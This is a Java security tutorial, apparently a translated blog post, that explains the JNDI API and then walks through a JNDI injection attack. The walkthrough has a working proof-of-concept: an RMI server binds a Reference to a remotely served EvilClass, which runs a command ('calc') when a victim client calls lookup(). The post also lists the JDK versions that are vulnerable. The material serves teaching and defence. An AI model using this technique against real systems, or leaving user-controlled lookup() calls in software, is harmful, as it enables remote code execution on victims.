Article directory
[java security] JNDI injection overview
What is JNDI?
JNDI(Java Naming and Directory Interface)
is the naming and directory interface Java
provided . Resources and other program objects can be located Java
by calling JNDI
.API
Naming services associate names with objects so that we can access objects by name
Structure of JDNI
The role of jndi is mainly "positioning". Such as locating objects registered in rmi, accessing directory services of ldap, etc.
In fact, it can be understood as a client of the following services:
There are several key elements
- Name, to look up the object in the naming system, give it the name of the object
- Bind, the association between a name and an object is called binding, for example, in the file system, the file name is bound to the corresponding file, and in the DNS, the domain name is bound to the corresponding IP
- Context, context, a context corresponds to a set of binding relationships between names and objects , we can find the object corresponding to the name in the specified context. For example, in a file system, a directory is a context in which files can be found, and subdirectories can also be called subcontexts
- References, in an actual name service, some objects may not be directly stored in the system, then they are stored in the form of references, which can be understood as pointers in C
These naming/directory service providers:
protocol | effect |
---|---|
LDAP | Lightweight directory access protocol, which stipulates the format of information exchange between Client and Server, the port number used, authentication method, etc. |
RMI | JAVA remote method protocol, which is used for remote calling application programming interface, so that the program running on the client can call the object on the remote server |
DNS | domain name service |
CORBA | Common Object Request Broker Architecture |
Java JDK
Five packages are provided in it, and JNDI
the functions provided are realized, namely:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext - context
Construction method:
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
Common methods:
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
Example:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
// 构建初始上下文
InitialContext initialContext = new InitialContext();
// 查询命名对象
String uri = "rmi://127.0.0.1:1099/work";
initialContext.lookup(uri);
}
}
Reference - a reference
Reference
A class represents a reference to an object that exists outside the naming/directory system . Specifically, if RMI
the object on the remote acquisition server is Reference
a class or its subclass, it can be class字节码
instantiated by loading files from other servers.
Construction method:
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
Common methods:
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
Example:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);
}
}
Reference
After it is created here, ReferenceWrapper
it is called and passed in. Why do you do this?
Because when we learned earlier RMI
, registering a class to Registry
the class used must inherit UnicastRemoteObject
the class and implement Remote
the interface
Reference
But we are not satisfied here , so we need to use ReferenceWrapper
it to encapsulate it
public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference
JNDI injection
JNDI injection, that is, when the developer defines JNDI
the initialization of the interface, lookup()
the parameters of the method are controllable, and the attacker can url
remotely load malicious loads with malicious incoming parameters, causing injection attacks.
The process of JNDI injection is as follows:
- The client program is invoked
InitialContext.lookup(url)
and the url can be controlled by input, pointing to the well-constructed RMI service address - The malicious RMI service will return a Reference to the attacked client to obtain the malicious Factory class
- When the client performs lookup, the client will obtain the corresponding instance
object factory
offactory.getObjectInstance()
the external remote object - The attacker
getObjectInstance()
writes malicious code in the construction method, static code block, method, etc. of the Factory class file to achieve the effect of remote code execution - Since Factory is to be used, the malicious class needs to implement
ObjectFactory
the interface
Specific attack flow chart:
JNDI injection has corresponding restrictions on the JAVA version, and the specific available versions are as follows:
protocol | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | Below 6u211 | Below 7u201 | Below 8u191 | 11.0.1 and below |
RMI | Below 6u132 | Below 7u122 | Below 8u113 | none |
JNDI & RMI
Use version:
JDK 6u132
, 7u122
, 8u113
before can
JNDI injection using Reference
First build a server:RMIServer
The creation of the server, follow the steps
- The first is the registration center
- Then the address of the malicious class
- Then create a Reference object reference and bind the address of the malicious class
- Binding Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:1098/";
Reference reference = new Reference("EvilClass", "EvilClass", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("class",referenceWrapper);
}
}
Then build a client RMIClient
(the client is also the victim):
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
String url = "rmi://127.0.0.1:1099/class";
context.lookup(url);
}
}
Then a malicious class needs to be created:
Implement ObjectFactory
the interface and write malicious code in getObjectInstance
it
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
static {
System.out.println("hello,static~");
}
public EvilClass() throws IOException {
System.out.println("constructor~");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello,getObjectInstance~");
return null;
}
}
After setting up, we first run the server: (note the jdk version)
Then we will EvilClass
compile and start an http service using python:
Then we run the client RMIClient:
We found that the code has been successfully executed, and it is executed on the client side
You can refer to this mind map: